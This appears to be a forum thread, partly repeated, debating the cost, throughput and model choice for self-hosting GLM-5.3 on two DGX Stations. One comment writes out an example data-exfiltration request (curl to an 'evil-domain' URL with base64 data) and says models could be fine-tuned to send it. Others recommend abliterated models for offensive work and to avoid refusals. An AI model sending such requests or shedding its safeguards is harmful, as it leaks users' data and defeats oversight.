Assuming the DGX priced at $100K, and GLM-5.3 at $1.4/M output token, this has ROI of ~7 years at maximum utilization (unlikely) and ignoring operational expenses like electricity. Which makes it economically unreasonable unless you want privacy or something like that.
The ROI on this hardware from my back-of-envelope calculation is (50M per day for output tokens, 500M (assuming 10x ratio, which again is conservative (probably 4x more realistically)) per day for input tokens, and assuming 90% / 10% mixing (10% output, and 90% input), you are doing $22 + $630 per day), that is less than a year to make the money (2 DGX Stations, $200k) back.
EDIT: actually read the article, it is kinda poorly written with no clear separation what's the performance for decode v.s. prefill, making us arguing about this much less meaningful.
And it's even cheaper on third party providers. For example the cheapest fp8 on openrouter is $0.5586 input, $0.1037 cached input, $1.756 output. And obviously less on fp4.
People say GLM 5.3 is not much smarter than GLM 5.3 Flash (just +4 points on Artificial Analysis), and GLM 5.3 Flash fits on 4x RTX 6000 Pro for 4 times less money, with the same 600 tok/sec aggregate decode speed on vLLM (6 mln tokens KV cache). And I tell you, 600 tok/sec is not much for an organization, it's barely usable for 8 people. That's why we plan to buy more RTX 6000 Pros. And this setup requires $400,000 to run GLM 5.3 for 16 people, it's absolutely uneconomical.
5.3 is certainly “better” than its flash variant, in my experience. I’ve moved on from both but eagerly await the next generation of each.
Better, in this context, is more capable with open ended work, planning, longer horizon “reasoning”. Flash is an absolute chad with a well defined task and accompanying guidance/guardrails/conventions provided. But not even close when it needs to deviate, runs into a “blocker” and has to reason its way out.
Personally I find GLM-5.3 to be smart enough to be my daily driver, writing code, doing investigations, etc., including multi-codebase changes and finding the relevant documentation/supporting code for itself so I don't have to explain everything. It's fast (depending on your inference provider), cheap, and smart enough.
I find the full-size 5.3 is smart enough to avoid all the small-model problems, while GLM-5.3-Flash definitely starts showing its limits any time the task at hand is poorly defined. 5.3-Flash can often manage even complicated tasks, but the error rate (in terms of bad decisions, misunderstandings, etc) starts creeping up and the time wasted (or the risk thereof) gets high enough that it's worth just paying for the bigger model.
I do wish the bigger model could use vision though- that's currently limited to the flash model (presumably because it came out later, when they had figured out their vision training pipeline. Hopefully later releases will include it.)
Dunno, maybe I'm good at prompting it, but I haven't had many issues with GLM-5.3 Flash. After switching from the Claude models, I barely noticed any difference for most tasks. In fact, I have to recheck the settings from time to time to make sure I'm not running anything Anthropic when I see it working with sensitive data :)
The only annoying issue for me is that GLM-5.3 Flash is often eager to go into action and start modifying code when I've just asked a question and it misunderstood it as a call to action.
The setup in the article reports 600 tok/sec aggregate decode for GLM 5.3. I get the same throughput on 4x RTX 6000 Pro's connected vi PCIe for GLM 5.3 Flash, which is just 4 points below GLM 5.3 on Artificial Analysis. I'm just saying the setup in the article looks overpriced for what it can actually do
It becomes even more dangerous if you run unofficial quantized weights of the original model, such as the Unsloth ones. Doing so means there are now two separate parties you need to trust, on top of the Chinese corporation behind the original model.
Since when do software engineers complain about maintaining privacy, security or compliance?
I have very much the opposite experience, they trash the place like toddlers then complain relentlessly when our auditors or anyone else points it out.
Or perhaps they are referring to more kinds of engineers. Security engineers, IT engineers, ops engineers, and so on. They are more likely to have the kinds of requirements that he's referring to.
Presumably some organizations are able to contain the rapacious software engineer. In those organizations, the software engineer is better able to offer this. As it happens, though, almost all of those would rather use ZDR Claude over this kind of thing just because of the BCDR issues etc.
Presumably they don't and op does. I think the engineers are complaining they want LLMs and op is stuck handing data over to a 3rd party or denying them access. This would be the compromise (self hosted LLM)
In each similar thread there are posts disputing the ROI - most often that's a minor positive side-effect of self-hosting. Independence, privacy and unchanging, uncensored models, that makes it already worth it.
Exactly, in fields like health, police, and military you really can’t accept the risks of your data leaking to a provider even if they claim to offer zero data retention.
It seems like hosting your frontier models don't make any kind of economic sense at this point given the exorbitant premiums on hardware in this space right now.
What will prices look like once production has caught up with demand though?
Well if the current AI leaders are to be believed, it won't matter because money won't be a thing, robots will do all the hard labor, and cancer will be solved.
All in the next few years btw, around the same amount of time to actually build the factories. So strap in I guess.
If you’re doing any work near and dear to your heart, that you think is gonna have some type of significance, some type of value, if you don’t care about privacy and are not doing anything about it upfront, don’t cry on the back end.
I am really getting tired of this point. Yeah no shit renting something instead of buying it probably saves money in the short term. Like… a house, or taking an uber everywhere, or renting a musical instrument instead of buying one.
There is an invaluable, priceless sense of of ownership of a thing instead of renting a thing.
If we thought of everything the way you’re pointing out the min-maxing value of LLMs nobody would own anything except for the oligarchs. You’re good with that?
This doesn't seem all that impressive for $200k of hardware? You could serve 4bit off 8xB6000 for ~half the price. No idea what throughput you'd get tho so maybe that's the flex.
Ultimately, that’s where most people want to be local and on their desktop. It keeps coming up over and over again. Most working in this area want privacy and want to work on their desktop or in a small cluster within a small team office environment. It keeps coming up over and over again. Rental is fine temporarily but it isn’t the end point no matter what Sam Altman wants, personal computers won out for a reason over the mainframe solutions of the past. Those reasons have not changed.
I mean, barely. If you want a video out you have to add another GPU which reduces the power the main GPU gets. And most offices don't have 800Gb fibre to the desk. The Supermicro version is rackmountable, which makes more sense.
Curious about the >2 case. You get a Quantum X800 switch? Or just a fast Ethernet switch? These are quite cool because of the amount of VRAM on them (though I find the “unified RAM” marketing unnecessarily confusing) but I avoided them because I wasn’t sure I could network them. A B300 node is $500k but I think I’d do MI355X now at that size because new Claudes will be able to port easily.
The advantage of the station is gradual improvement. Though tbh I wonder if I should just settle for putting a few more normal H100 NVL and trying RoCE. Post is at least inspiring of ideas if nothing else.
There is something for macOS that uses Thunderbolt for high speed interconnect. Obviously it doesn't scale beyond a few nodes but I think that's a decent and fairly approachable middleground
> Is there a reason they chose glm and not deepseek
GLM-5.3's architecture (same as GLM-5.2) is simpler and it came out earlier.
Hybrid attention and Manifold-Constrained Hyper-Connections only arrived with GLM-5.3-Flash.
Also, NVIDIA acquired HuggingFace, who used GLM-5.2 for their forensic analysis when they got hacked, so I presume that they have more familiarity with that model.
And DeepSeek-V4.1-Flash is more memory-efficient, so it'd sell fewer GPUs.
DeepSeek’s claim to fame is massively shrinking the per-user memory footprint, enabling many more concurrent users in your fixed hardware footprint. Having more concurrent users leads to much higher overall throughput on that same hardware. That’s why DS is so cheap to host.
See table 2 in this article to see the tradeoffs of overall throughput vs per user latency as an example.
Deepseek would let you host higher concurrency than GLM.
Presumably that compression doesn’t come for free on the quality side. (This is totally speculative on my part. I haven’t personally used DS, and I don’t particularly feel benchmarks correlate well to my own experiences)
If you’ve got a small enough user count, perhaps there are tradeoffs in DeepSeek that are not buying you anything.
I'm not sure I gave Deepseek-v4.1-Flash a fair shot, but in my limited testing, it spends 20 minutes thinking about relatively basic prompts, so even if it's cheaper that GLM, the time saved by GLM-5.3's much more reasonable thinking time/tokens means you end up ahead if you value your own time.
Having used both, they really are comparable for most things, which leaves the cheaper Deepseek a better choice for most folks. The one area that I've found GLM to be a clear winner is in offensive Cyber.
If you run a red team GLM is hard to beat, and most of the providers who want to serve an abliterated model cost significantly more so it makes more sense to spend money on hardware.
For anyone actually considering this $200k+ setup for home or even small business use the power usage and noise is extreme. 1.6kw each with the fans to match. 600tokens/s at concurrency 16 is not what you need for home use or even sub 100 employee business use either. Really reconsider please (do you seriously need people to tell you this?). I get tech wages are high and you can probably afford this but seriously.
Right now there’s no great solution to the frontier or near frontier models for home use. But there are cards and options coming in 2027. For now just accept that you run qwen 37b or similar.
What’s coming in 2027 that changes this and why i implore you to wait? Well for these models you need massive amounts of memory and memory bandwidth. The solution above gets this by using expensive HBM spread over enough cards with enough compute to give a ridiculous tok/s. For home use you’d actually be happier with a single GPU that had lots of cheap memory to hold the weights and just enough memory bandwidth to feed that single gpu and no more. This in theory gets you close to 50tok/s on GLM 5.3 if it existed.
In 2027 there’s expected to be multiple HBF (high bandwidth flash) options incoming. High bandwidth flash has ~10x the latency of HBM but that actually doesn’t matter much for inference. Inference is latency tolerant and local inference time to first token beats over the internet time to first token no matter what you do in any case. The bandwidth and amount of memory is the blocker.
In 2027 there’s expected to be many multi terabyte HBF options coming. NAND/NOR flash is massively cheaper than RAM per byte (multiple states per logical unit so it’s denser) and it’s not that hard to wire it in a more parallel way to increase its bandwidth. Nvidia has the Kioxia solutions and Sandisk, Samsung, Tenstorrent, Mythic have also previewed HBF with GPUs to do local inference on the open source frontier models at reasonably high tok/s. Even if HBF is sold for 10x the price per terabyte of todays flash that’s still an extremely small fraction of the price of any other option right now.
Make do with the subscriptions for now. Don’t go crazy trying to run the frontier at home today. We should have something much better solutions are coming.
Sometimes you can't. All big three are bringing in the censorship and virtue signaling. It got to absurd levels recently. I asked claude to audit my code, let's see specific security features and it flat out refused etc.
I did a janky setup at home - I hooked up an old razer egpu case with 3090 (which had been collecting dust) to a strix halo 395 machine. I'm running qwen 3.8 flash next abliterated version as well as few image editing models and hook up to it with pi. The speed is really decent, it works on a level like frontier models late last year or better, and the best thing is I feel I can do anything with it without being nannied around.
I still use frontier, but now I use both. I recommend everyone to get one of these machines and do a similar setup. I got the idea from here anyways.
> Running a frontier-scale model locally means keeping all its weights in GPU memory; the largest models no longer fit on one machine.
That first sentence makes me wish the article had been written by AI. It seems to be using a semicolon with its C semantics. In English one expects the thing after the semicolon to in some sense explain the thing before it.
I'll get right on that after an elderly relative passes away and leaves me a valuable piece of real estate in a major city that will sell for enough money to buy two DGX stations in the current market. Or I win the lottery.
If you haven’t done so already, you should already be invested in some of the sane blue chip stocks in the tech/industrial area Google, Apple, there is a reason they have done well over 25 years over time, for example it really does pay off and there are many others to choose from, if you stay at it and you don’t try to become a mind less day trader it is basically your second profession. next to your daytime job over time.
In the design engineering department, I was in a group of eight designers/engineers decided they were gonna make their fortune with our profit sharing bonuses. Some did, some didn’t about half gave up. And now they’re mad at the world.
Staying at it, tuning out the noise really does work, compounding assets over time really does work if you stay at it and don’t become a mindless day trader.
Hopefully ERNIE 5.5 (open weight) is about the performance of GLM-5.3 (looks that way from preliminary evals) and it should run easily on one DGX station.
Maybe even a Q4 quant on 128G, like an M5 max laptop or a DGX spark ...
Is my intuition correct in that the headline tok/s are for a single user?
Multiple concurrent users make that tok/s/user at best with probably additional staking penalties with each user? I see people saying this isn't necessary for sub 100 employee businesses, but how does that work out if you have 100 users?
The chart of the actual tok/s vs concurrency is at the end. For a single user you get 107tok/s, which is about 2-3x as fast as you would get on 4x DGX spark.
The 607 tok/s is total tok/s across the 16 users, so a bit over 35tok/s per user.
Assuming the DGX priced at $100K, and GLM-5.3 at $1.4/M output token, this has ROI of ~7 years at maximum utilization (unlikely) and ignoring operational expenses like electricity. Which makes it economically unreasonable unless you want privacy or something like that.
Where your price is from? https://docs.z.ai/guides/overview/pricing Input tokens: $1.4 Output tokens: $4.4 Cached input: $0.26
The ROI on this hardware from my back-of-envelope calculation is (50M per day for output tokens, 500M (assuming 10x ratio, which again is conservative (probably 4x more realistically)) per day for input tokens, and assuming 90% / 10% mixing (10% output, and 90% input), you are doing $22 + $630 per day), that is less than a year to make the money (2 DGX Stations, $200k) back.
EDIT: actually read the article, it is kinda poorly written with no clear separation what's the performance for decode v.s. prefill, making us arguing about this much less meaningful.
Is there an easy way to actually make money that way, by buying compute and offering it online?
And it's even cheaper on third party providers. For example the cheapest fp8 on openrouter is $0.5586 input, $0.1037 cached input, $1.756 output. And obviously less on fp4.
third party providers can have really bad latency and other issues though, so probably can't trust the lowest prices you find
It’s useful in controlled environments where getting a commodity api approved will take years.
Eg I can put 2x of these workstations in an office handling banking/medical/secret/sensitive data and have my engineers stop complaining.
People say GLM 5.3 is not much smarter than GLM 5.3 Flash (just +4 points on Artificial Analysis), and GLM 5.3 Flash fits on 4x RTX 6000 Pro for 4 times less money, with the same 600 tok/sec aggregate decode speed on vLLM (6 mln tokens KV cache). And I tell you, 600 tok/sec is not much for an organization, it's barely usable for 8 people. That's why we plan to buy more RTX 6000 Pros. And this setup requires $400,000 to run GLM 5.3 for 16 people, it's absolutely uneconomical.
5.3 is certainly “better” than its flash variant, in my experience. I’ve moved on from both but eagerly await the next generation of each.
Better, in this context, is more capable with open ended work, planning, longer horizon “reasoning”. Flash is an absolute chad with a well defined task and accompanying guidance/guardrails/conventions provided. But not even close when it needs to deviate, runs into a “blocker” and has to reason its way out.
Personally I find GLM-5.3 to be smart enough to be my daily driver, writing code, doing investigations, etc., including multi-codebase changes and finding the relevant documentation/supporting code for itself so I don't have to explain everything. It's fast (depending on your inference provider), cheap, and smart enough.
I find the full-size 5.3 is smart enough to avoid all the small-model problems, while GLM-5.3-Flash definitely starts showing its limits any time the task at hand is poorly defined. 5.3-Flash can often manage even complicated tasks, but the error rate (in terms of bad decisions, misunderstandings, etc) starts creeping up and the time wasted (or the risk thereof) gets high enough that it's worth just paying for the bigger model.
I do wish the bigger model could use vision though- that's currently limited to the flash model (presumably because it came out later, when they had figured out their vision training pipeline. Hopefully later releases will include it.)
Dunno, maybe I'm good at prompting it, but I haven't had many issues with GLM-5.3 Flash. After switching from the Claude models, I barely noticed any difference for most tasks. In fact, I have to recheck the settings from time to time to make sure I'm not running anything Anthropic when I see it working with sensitive data :)
The only annoying issue for me is that GLM-5.3 Flash is often eager to go into action and start modifying code when I've just asked a question and it misunderstood it as a call to action.
Can you share an example of moderately Detailed “good prompt”
> only annoying issue for me is that GLM-5.3 Flash is often eager to go into action
All models do that. Especially annoying when I’m in planning mode and asking a follow up causes complete replanning.
I added “user’s questions, often start with ‘Q:’ are not calls to action”
It works as long as I don’t forget the Q: marker
You’re not going to get the same token throughout with the pro 6000 over pcie. You’re paying for speed and bandwidth.
The setup in the article reports 600 tok/sec aggregate decode for GLM 5.3. I get the same throughput on 4x RTX 6000 Pro's connected vi PCIe for GLM 5.3 Flash, which is just 4 points below GLM 5.3 on Artificial Analysis. I'm just saying the setup in the article looks overpriced for what it can actually do
It is also unsafe unless you run the agents in a sandbox without network access.
All it takes to leak data is a curl request to https://evil-domain.com/?payload=base64-encoded-data, and any model could be trained or fine-tuned to execute this on any task.
It becomes even more dangerous if you run unofficial quantized weights of the original model, such as the Unsloth ones. Doing so means there are now two separate parties you need to trust, on top of the Chinese corporation behind the original model.
Since when do software engineers complain about maintaining privacy, security or compliance?
I have very much the opposite experience, they trash the place like toddlers then complain relentlessly when our auditors or anyone else points it out.
That says more about the companies and fields you chose to work in than software engineers as a whole
Or perhaps they are referring to more kinds of engineers. Security engineers, IT engineers, ops engineers, and so on. They are more likely to have the kinds of requirements that he's referring to.
No engineer would prefer to use inferior tools. Only managers care about that.
Presumably some organizations are able to contain the rapacious software engineer. In those organizations, the software engineer is better able to offer this. As it happens, though, almost all of those would rather use ZDR Claude over this kind of thing just because of the BCDR issues etc.
Presumably they don't and op does. I think the engineers are complaining they want LLMs and op is stuck handing data over to a 3rd party or denying them access. This would be the compromise (self hosted LLM)
Because the companies they work for take their NDA's, compliance and other requirements as must haves rather than optional.
My team does. It’s an important constraint. Do your software developers routinely ignore critical requirements?
In each similar thread there are posts disputing the ROI - most often that's a minor positive side-effect of self-hosting. Independence, privacy and unchanging, uncensored models, that makes it already worth it.
Exactly, in fields like health, police, and military you really can’t accept the risks of your data leaking to a provider even if they claim to offer zero data retention.
Is suspect major providers will or already provide service of deploying their models on clients hardware, if bill is large enough.
With the blasé attitude that I see, the future is gonna be filled with lawsuits back-and-forth. It’s all incoming.
It seems like hosting your frontier models don't make any kind of economic sense at this point given the exorbitant premiums on hardware in this space right now.
What will prices look like once production has caught up with demand though?
Well if the current AI leaders are to be believed, it won't matter because money won't be a thing, robots will do all the hard labor, and cancer will be solved.
All in the next few years btw, around the same amount of time to actually build the factories. So strap in I guess.
This is a lot of faster though. That could be worth something.
It seems particularly poor compared to larger deployments of other models like Kimi K3.1 Pro.
I've heard numbers between 10k-38k tokens per second per GB300 GPU.
GB300 is a full rack of 72 GPUs and costs ~10x more than two DGXs in the article.
If you’re doing any work near and dear to your heart, that you think is gonna have some type of significance, some type of value, if you don’t care about privacy and are not doing anything about it upfront, don’t cry on the back end.
“Doing anything about it up front” meaning buying 2x$100k worth of hardware?
What is the median salary for a senior sweng at faang?
350k
Maybe it won't be for long, if the price inflators Huang allegedly engaged in are relaxed (financing AI startups to put capacity pressure on pricing).
Assuming constant pricing for tokens from online suppliers.
I am really getting tired of this point. Yeah no shit renting something instead of buying it probably saves money in the short term. Like… a house, or taking an uber everywhere, or renting a musical instrument instead of buying one.
There is an invaluable, priceless sense of of ownership of a thing instead of renting a thing.
If we thought of everything the way you’re pointing out the min-maxing value of LLMs nobody would own anything except for the oligarchs. You’re good with that?
This doesn't seem all that impressive for $200k of hardware? You could serve 4bit off 8xB6000 for ~half the price. No idea what throughput you'd get tho so maybe that's the flex.
Edit: This guy already did it, and you get 60% more throughput on the 8xB6000 https://github.com/kacper-daftcode/GLM5.3-8xPRO6K
The point of this hardware is that it's desktop.
Ultimately, that’s where most people want to be local and on their desktop. It keeps coming up over and over again. Most working in this area want privacy and want to work on their desktop or in a small cluster within a small team office environment. It keeps coming up over and over again. Rental is fine temporarily but it isn’t the end point no matter what Sam Altman wants, personal computers won out for a reason over the mainframe solutions of the past. Those reasons have not changed.
I mean, barely. If you want a video out you have to add another GPU which reduces the power the main GPU gets. And most offices don't have 800Gb fibre to the desk. The Supermicro version is rackmountable, which makes more sense.
This is only using the high-speed RAM and leaving 500GB of RAM unused on each system?
Curious about the >2 case. You get a Quantum X800 switch? Or just a fast Ethernet switch? These are quite cool because of the amount of VRAM on them (though I find the “unified RAM” marketing unnecessarily confusing) but I avoided them because I wasn’t sure I could network them. A B300 node is $500k but I think I’d do MI355X now at that size because new Claudes will be able to port easily.
The advantage of the station is gradual improvement. Though tbh I wonder if I should just settle for putting a few more normal H100 NVL and trying RoCE. Post is at least inspiring of ideas if nothing else.
There is something for macOS that uses Thunderbolt for high speed interconnect. Obviously it doesn't scale beyond a few nodes but I think that's a decent and fairly approachable middleground
Edit: This github.com/exo-explore/exo
Whats the best model i should be runnning with two dgxs? Is there a reason they chose glm and not deepseek
Hybrid attention and Manifold-Constrained Hyper-Connections only arrived with GLM-5.3-Flash.
Also, NVIDIA acquired HuggingFace, who used GLM-5.2 for their forensic analysis when they got hacked, so I presume that they have more familiarity with that model.
And DeepSeek-V4.1-Flash is more memory-efficient, so it'd sell fewer GPUs.
DeepSeek’s claim to fame is massively shrinking the per-user memory footprint, enabling many more concurrent users in your fixed hardware footprint. Having more concurrent users leads to much higher overall throughput on that same hardware. That’s why DS is so cheap to host.
See table 2 in this article to see the tradeoffs of overall throughput vs per user latency as an example.
Deepseek would let you host higher concurrency than GLM.
Presumably that compression doesn’t come for free on the quality side. (This is totally speculative on my part. I haven’t personally used DS, and I don’t particularly feel benchmarks correlate well to my own experiences)
If you’ve got a small enough user count, perhaps there are tradeoffs in DeepSeek that are not buying you anything.
I'm not sure I gave Deepseek-v4.1-Flash a fair shot, but in my limited testing, it spends 20 minutes thinking about relatively basic prompts, so even if it's cheaper that GLM, the time saved by GLM-5.3's much more reasonable thinking time/tokens means you end up ahead if you value your own time.
What provider were you using?
Having used both, they really are comparable for most things, which leaves the cheaper Deepseek a better choice for most folks. The one area that I've found GLM to be a clear winner is in offensive Cyber.
If you run a red team GLM is hard to beat, and most of the providers who want to serve an abliterated model cost significantly more so it makes more sense to spend money on hardware.
For anyone actually considering this $200k+ setup for home or even small business use the power usage and noise is extreme. 1.6kw each with the fans to match. 600tokens/s at concurrency 16 is not what you need for home use or even sub 100 employee business use either. Really reconsider please (do you seriously need people to tell you this?). I get tech wages are high and you can probably afford this but seriously.
Right now there’s no great solution to the frontier or near frontier models for home use. But there are cards and options coming in 2027. For now just accept that you run qwen 37b or similar.
What’s coming in 2027 that changes this and why i implore you to wait? Well for these models you need massive amounts of memory and memory bandwidth. The solution above gets this by using expensive HBM spread over enough cards with enough compute to give a ridiculous tok/s. For home use you’d actually be happier with a single GPU that had lots of cheap memory to hold the weights and just enough memory bandwidth to feed that single gpu and no more. This in theory gets you close to 50tok/s on GLM 5.3 if it existed.
In 2027 there’s expected to be multiple HBF (high bandwidth flash) options incoming. High bandwidth flash has ~10x the latency of HBM but that actually doesn’t matter much for inference. Inference is latency tolerant and local inference time to first token beats over the internet time to first token no matter what you do in any case. The bandwidth and amount of memory is the blocker.
In 2027 there’s expected to be many multi terabyte HBF options coming. NAND/NOR flash is massively cheaper than RAM per byte (multiple states per logical unit so it’s denser) and it’s not that hard to wire it in a more parallel way to increase its bandwidth. Nvidia has the Kioxia solutions and Sandisk, Samsung, Tenstorrent, Mythic have also previewed HBF with GPUs to do local inference on the open source frontier models at reasonably high tok/s. Even if HBF is sold for 10x the price per terabyte of todays flash that’s still an extremely small fraction of the price of any other option right now.
Make do with the subscriptions for now. Don’t go crazy trying to run the frontier at home today. We should have something much better solutions are coming.
> For now just accept that you run qwen 37b or similar.
Or rent a server somewhere?
Make do with the subscriptions for now.
Sometimes you can't. All big three are bringing in the censorship and virtue signaling. It got to absurd levels recently. I asked claude to audit my code, let's see specific security features and it flat out refused etc.
I did a janky setup at home - I hooked up an old razer egpu case with 3090 (which had been collecting dust) to a strix halo 395 machine. I'm running qwen 3.8 flash next abliterated version as well as few image editing models and hook up to it with pi. The speed is really decent, it works on a level like frontier models late last year or better, and the best thing is I feel I can do anything with it without being nannied around.
I still use frontier, but now I use both. I recommend everyone to get one of these machines and do a similar setup. I got the idea from here anyways.
The local models might start leaving things out of training sets soon too
Absolutely agree which is why i also said in the above post to run qwen for now.
> Running a frontier-scale model locally means keeping all its weights in GPU memory; the largest models no longer fit on one machine.
That first sentence makes me wish the article had been written by AI. It seems to be using a semicolon with its C semantics. In English one expects the thing after the semicolon to in some sense explain the thing before it.
GB300 DGX. Each with 256 GiB of RAM and a price of $100k?
For an enterprise, that price seems doable. But if you want 50-100 tps like Claude does, and you only have 10 users, maybe you're not an enterprise.
To pull a recent analogy, I guess we're still at the early Model S stage of LLMs.
I'll get right on that after an elderly relative passes away and leaves me a valuable piece of real estate in a major city that will sell for enough money to buy two DGX stations in the current market. Or I win the lottery.
If you haven’t done so already, you should already be invested in some of the sane blue chip stocks in the tech/industrial area Google, Apple, there is a reason they have done well over 25 years over time, for example it really does pay off and there are many others to choose from, if you stay at it and you don’t try to become a mind less day trader it is basically your second profession. next to your daytime job over time.
In the design engineering department, I was in a group of eight designers/engineers decided they were gonna make their fortune with our profit sharing bonuses. Some did, some didn’t about half gave up. And now they’re mad at the world.
Staying at it, tuning out the noise really does work, compounding assets over time really does work if you stay at it and don’t become a mindless day trader.
Hopefully ERNIE 5.5 (open weight) is about the performance of GLM-5.3 (looks that way from preliminary evals) and it should run easily on one DGX station.
Maybe even a Q4 quant on 128G, like an M5 max laptop or a DGX spark ...
Is my intuition correct in that the headline tok/s are for a single user?
Multiple concurrent users make that tok/s/user at best with probably additional staking penalties with each user? I see people saying this isn't necessary for sub 100 employee businesses, but how does that work out if you have 100 users?
The chart of the actual tok/s vs concurrency is at the end. For a single user you get 107tok/s, which is about 2-3x as fast as you would get on 4x DGX spark.
The 607 tok/s is total tok/s across the 16 users, so a bit over 35tok/s per user.